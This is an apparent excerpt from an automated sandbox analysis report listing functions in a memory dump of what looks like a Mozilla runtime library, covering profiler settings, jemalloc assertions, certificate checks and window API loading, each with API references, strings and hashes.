- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C4E5D24
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C4E5766
[I %d/%d] profiler_init, xrefs: 6C4E564E
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C4E57C5
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C4E5D01
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C4E5717
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C4E5BBE
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C4E54B9
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C4E584E
MOZ_BASE_PROFILER_HELP, xrefs: 6C4E5511
MOZ_PROFILER_STARTUP, xrefs: 6C4E55E1
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C4E5AC9
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C4E57AE
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C4E5D1C
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C4E5724
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C4E5749
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C4E5791
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C4E5D2B
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C4E56E3
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C4E548D
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C4E5C56
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C4E5B38

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 9c3e4725b7f09fa41ce98517a0beaed07d9bc87a07dce8357d4be76c915039ac
Instruction ID: c6530db8d483001a9cc3a5be6f4a3ddaa2171a2141896f4e08c50ecbdeb1dc71
Opcode Fuzzy Hash: 9c3e4725b7f09fa41ce98517a0beaed07d9bc87a07dce8357d4be76c915039ac
Instruction Fuzzy Hash: 26223774A043009FE700EF758C08E5A7BF1BF8A34EF86452AE84997B41EB319855CB57

Function 6C51B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C51B845
AcquireSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000), ref: 6C51B852
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51B884
InitializeConditionVariable.KERNEL32(?), ref: 6C51B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C51B9FD
GetCurrentThreadId.KERNEL32 ref: 6C51BA05
AcquireSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000), ref: 6C51BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C51BA27
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51BA4B
free.MOZGLUE(?), ref: 6C51C9C7
free.MOZGLUE(?), ref: 6C51C9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C51C878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C51C7DA

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 70943bde00145e8fcf125b3d5895a057f425cfb559b469f8ea2077880fbe5164
Instruction ID: f1613b9c6a0f6f171ad42f7b8f67fdec7367b8082a77b475d31e27ae16e26214
Opcode Fuzzy Hash: 70943bde00145e8fcf125b3d5895a057f425cfb559b469f8ea2077880fbe5164
Instruction Fuzzy Hash: 02A2A071A083808FD725DF28C884B9FB7E5BFC9314F458A2DE89997750DB71A905CB82

Function 6C4E6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C4E6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C4E6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C4E6D26

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C4E6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C4E6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C4E6D73
free.MOZGLUE(00000000), ref: 6C4E6D80
CertGetNameStringW.CRYPT32 ref: 6C4E6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C4E6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C4E6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C4E6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C4E6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C4E6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C4E6E34
CreateFileW.KERNEL32 ref: 6C4E6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C4E6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C4E6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C4E709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C4E7103
free.MOZGLUE(00000000), ref: 6C4E7153
CloseHandle.KERNEL32(?), ref: 6C4E7176
__Init_thread_footer.LIBCMT ref: 6C4E7209
__Init_thread_footer.LIBCMT ref: 6C4E723A
__Init_thread_footer.LIBCMT ref: 6C4E726B
__Init_thread_footer.LIBCMT ref: 6C4E729C
__Init_thread_footer.LIBCMT ref: 6C4E72DC
__Init_thread_footer.LIBCMT ref: 6C4E730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C4E73C2
VerSetConditionMask.NTDLL ref: 6C4E73F3
VerSetConditionMask.NTDLL ref: 6C4E73FF
VerSetConditionMask.NTDLL ref: 6C4E7406
VerSetConditionMask.NTDLL ref: 6C4E740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C4E741A
moz_xmalloc.MOZGLUE(?), ref: 6C4E755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4E7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C4E7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C4E7598
free.MOZGLUE(00000000), ref: 6C4E75AC

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

Strings

wintrust.dll, xrefs: 6C4E72CD
CryptCATAdminReleaseCatalogContext, xrefs: 6C4E72C8
SHA256, xrefs: 6C4E6EC0
(, xrefs: 6C4E768A

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 7b2b5a80396c96a324eba666a08269f8fa31063d72e6e517b443f612b0e9221d
Instruction ID: b06d740a9e50ccc23b9188a737284425df4012e8f07ba094d70d310e95f2117a
Opcode Fuzzy Hash: 7b2b5a80396c96a324eba666a08269f8fa31063d72e6e517b443f612b0e9221d
Instruction Fuzzy Hash: B052F671A043149BEB21DF24CC84FAA77B8EF89319F524199E909A7741DB70AF85CF90

Function 6C506FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C507019
LeaveCriticalSection.KERNEL32(6C55E7DC), ref: 6C507061
EnterCriticalSection.KERNEL32(?), ref: 6C5071A4
LeaveCriticalSection.KERNEL32(?), ref: 6C50721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C50723E
EnterCriticalSection.KERNEL32(?), ref: 6C50726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C5072B2
LeaveCriticalSection.KERNEL32(?), ref: 6C50733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C5073E8
LeaveCriticalSection.KERNEL32(?), ref: 6C50961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C509622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C509642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C50964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5096CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5096DB
AcquireSRWLockExclusive.KERNEL32(6C55E804), ref: 6C509747
GetSystemInfo.KERNEL32(?), ref: 6C509792
__Init_thread_footer.LIBCMT ref: 6C5097A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C55E810,00000040), ref: 6C5097CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7B8,00001388), ref: 6C509838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E744,00001388), ref: 6C50984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E784,00001388), ref: 6C509874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7DC,00001388), ref: 6C509895

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5099D2
MALLOC_OPTIONS, xrefs: 6C5097CA
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5099BD
<jemalloc>, xrefs: 6C509B33, 6C509BE3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5099A8
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C509993
Compile-time page size does not divide the runtime one., xrefs: 6C509B38
: (malloc) Unsupported character in malloc options: ', xrefs: 6C509BF4
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C509933, 6C509A33, 6C509A4E
MOZ_CRASH(), xrefs: 6C509B42

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: a7f862ebd513ffe2f21ce58f51b5a0765159cc497faa02bc3cd3be48006f1fd8
Instruction ID: 4b3d0686faad25a8062c089349d5a08f7aafd27d2a3ff80a47eb39d307e18f48
Opcode Fuzzy Hash: a7f862ebd513ffe2f21ce58f51b5a0765159cc497faa02bc3cd3be48006f1fd8
Instruction Fuzzy Hash: B9535D71B057018FD714CF28C981615BBE1BF8A328F29CAADE869CB795D771E841CB81

Function 6C510DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C510F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C510F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C510FB7
EnterCriticalSection.KERNEL32(?), ref: 6C510FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C511031
LeaveCriticalSection.KERNEL32(?), ref: 6C5110D0
EnterCriticalSection.KERNEL32(?), ref: 6C51117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C511C39
EnterCriticalSection.KERNEL32(6C55E744), ref: 6C513391
LeaveCriticalSection.KERNEL32(6C55E744), ref: 6C5133CD
LeaveCriticalSection.KERNEL32(?), ref: 6C513431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C513437

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5137D2
MALLOC_OPTIONS, xrefs: 6C5135FE
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5137BD
<jemalloc>, xrefs: 6C513941, 6C5139F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5137A8
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C513793
Compile-time page size does not divide the runtime one., xrefs: 6C513946
: (malloc) Unsupported character in malloc options: ', xrefs: 6C513A02
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C513559, 6C51382D, 6C513848
MOZ_CRASH(), xrefs: 6C513950

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 4d0576f6f74b7a924ce934d72f2d780f0b8abfdb950ee04d4b6ac7f6c85d71d0
Instruction ID: b53373d5aa5099417f6ca6d7f0cb2d802ad99c7a3cd5cceec69db28c209a78ce
Opcode Fuzzy Hash: 4d0576f6f74b7a924ce934d72f2d780f0b8abfdb950ee04d4b6ac7f6c85d71d0
Instruction Fuzzy Hash: 5653B271A097018FE704CF19C954616FBE1BF86328F29C7ADE8699BB91D371E841CB81

Function 6C5355F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C50E1A5), ref: 6C535606
LoadLibraryW.KERNEL32(gdi32,?,6C50E1A5), ref: 6C53560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C535633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C53563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C53566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C53567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C535696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C5356B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C5356CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C5356E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C5356FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C535716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C53572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C535748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C535761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C53577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C535793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C5357A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C5357BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C5357D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C5357EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C5357FF

Strings

AreDpiAwarenessContextsEqual, xrefs: 6C535637
SetWindowPos, xrefs: 6C5356F7
MonitorFromWindow, xrefs: 6C53578D
LoadIconW, xrefs: 6C53575B
user32, xrefs: 6C535601
GetMonitorInfoW, xrefs: 6C5357A2
GetWindowDC, xrefs: 6C535710
FillRect, xrefs: 6C535729
CreateWindowExW, xrefs: 6C5356C5
StretchDIBits, xrefs: 6C5357CC
RegisterClassW, xrefs: 6C5356AC
CreateSolidBrush, xrefs: 6C5357E4
GetDpiForWindow, xrefs: 6C535690
ShowWindow, xrefs: 6C5356DE
ReleaseDC, xrefs: 6C535742
GetSystemMetricsForDpi, xrefs: 6C535677
gdi32, xrefs: 6C53560A
DeleteObject, xrefs: 6C5357F9
SetWindowLongPtrW, xrefs: 6C5357B7
EnableNonClientDpiScaling, xrefs: 6C535666
GetThreadDpiAwarenessContext, xrefs: 6C53562D
LoadCursorW, xrefs: 6C535774

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 33ce288e11265be5b3dd01dd23bc8a70f0c6b52c198f0c7b914ad32396ba7247
Instruction ID: 796edcc5dd6f2a835eb140c545e75888e6ff49fd23311c8afd15b90329621664
Opcode Fuzzy Hash: 33ce288e11265be5b3dd01dd23bc8a70f0c6b52c198f0c7b914ad32396ba7247
Instruction Fuzzy Hash: B95187707013139BDB01AF359D489277BF8AB072457E66526ED56E2A02FF74C900CF68

Function 6C5334A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5335BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5335E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5336CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5338BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5339EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533EE2

Part of subcall function 6C536180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C5361DD
Part of subcall function 6C536180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C53622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5340F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C534157

Part of subcall function 6C536180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C536250
Part of subcall function 6C536180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C536292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C534448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C53484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C534863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C534878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C534896
free.MOZGLUE ref: 6C53489F

Strings

, xrefs: 6C534CD2

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: f8906cf3954d80425aadfa39100a4cf96d497bf7cdfc6bbf7f8b243ac87d62e6
Instruction ID: 1bc7fa6fb82e0900ce15ae0d9c3ca598bca0578860ba7636ef2964d95a4733b6
Opcode Fuzzy Hash: f8906cf3954d80425aadfa39100a4cf96d497bf7cdfc6bbf7f8b243ac87d62e6
Instruction Fuzzy Hash: F5F23B74908B80CFC725CF28C48469AFBF1BFC9358F518A5ED99997711DB329886CB42

Function 6C51F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C51F09B

Part of subcall function 6C4F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B85
Part of subcall function 6C4F5B50: EnterCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B90
Part of subcall function 6C4F5B50: LeaveCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5BD8
Part of subcall function 6C4F5B50: GetTickCount64.KERNEL32 ref: 6C4F5BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C51F0AC

Part of subcall function 6C4F5C50: GetTickCount64.KERNEL32 ref: 6C4F5D40
